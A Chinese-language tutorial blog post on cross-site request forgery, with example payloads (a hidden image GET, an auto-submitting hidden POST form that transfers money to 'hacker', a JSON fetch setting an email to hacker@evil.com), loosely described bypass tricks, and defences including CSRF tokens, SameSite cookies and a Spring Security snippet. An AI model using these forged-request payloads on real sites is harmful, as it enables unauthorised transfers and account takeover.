CSRF攻击详解:如何让用户”自愿”转账?

CSRF攻击详解:如何让用户”自愿”转账?

1. 什么是CSRF攻击?

CSRF(跨站请求伪造,Cross-Site Request Forgery) 是一种利用用户已登录状态,诱骗其执行非预期操作的攻击方式。攻击者通过伪造请求,让用户在不知情的情况下完成转账、改密等敏感操作。

危害等级:🔥🔥🔥(中高危)
典型场景:银行转账、密码修改、购物车结算等需要身份验证的操作

2. CSRF攻击原理

攻击条件
  1. 用户已登录目标网站(如银行网站)

  2. 用户访问恶意页面(如钓鱼邮件中的链接)

  3. 目标网站未校验请求来源

攻击流程

20250619094008939-image

3. 实战攻击演示

(1) 基础GET型CSRF
<!-- 恶意页面代码 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" width="0" height="0">

触发方式:用户访问含该图片的页面时,自动发起转账请求

(2) 表单POST型CSRF
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="hacker">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>

特点:可伪造更复杂的POST请求

(3) JSON CSRF(需特殊条件)
fetch('https://api.example.com/change-email', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'hacker@evil.com'})
})

绕过技巧:当网站未校验Content-Type且Cookie为唯一凭证时生效

4. 高级绕过技术

(1) 同源策略绕过
  • 利用<iframe>+<form>组合攻击

  • 通过window.open()新窗口操作

(2) Cookie作用域扩大
  • 设置Domain=.example.com使子域名共享Cookie

  • 利用浏览器自动携带Cookie的特性

(3) 反射型CSRF
  • 将恶意代码注入目标网站本身(需配合XSS)

5. 自动化检测工具

  • Burp Suite CSRF PoC Generator:一键生成CSRF测试代码

  • OWASP ZAP:自动扫描CSRF漏洞

  • 手动测试:删除Referer头观察是否仍可请求


6. 防御方案对比

防御措施 实现方式 优点 缺点
CSRF Token 每个表单包含服务器生成的随机令牌 安全性高 需前后端配合
SameSite Cookie 设置SameSite=Strict/Lax 浏览器原生支持 旧浏览器不兼容
双重验证 敏感操作需短信/邮箱确认 彻底防御 用户体验下降
Referer检查 验证请求来源域名 简单易实现 可被绕过
最佳实践代码示例
// Spring Security配置CSRF防护
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
  @Override
  protected void configure(HttpSecurity http) throws Exception {
    http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
  }
}
<!-- 前端表单嵌入Token -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="${csrfToken}">
  <!-- 其他表单字段 -->
</form>

7. 真实案例剖析

案例:某电商平台支付接口缺失CSRF防护
攻击过程

  1. 攻击者在论坛发布含恶意表单的帖子

  2. 用户访问后自动发起1000元订单支付

  3. 由于用户已登录,支付直接成功

修复方案

  • 增加CSRF Token校验

  • 关键支付操作需短信二次确认

© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容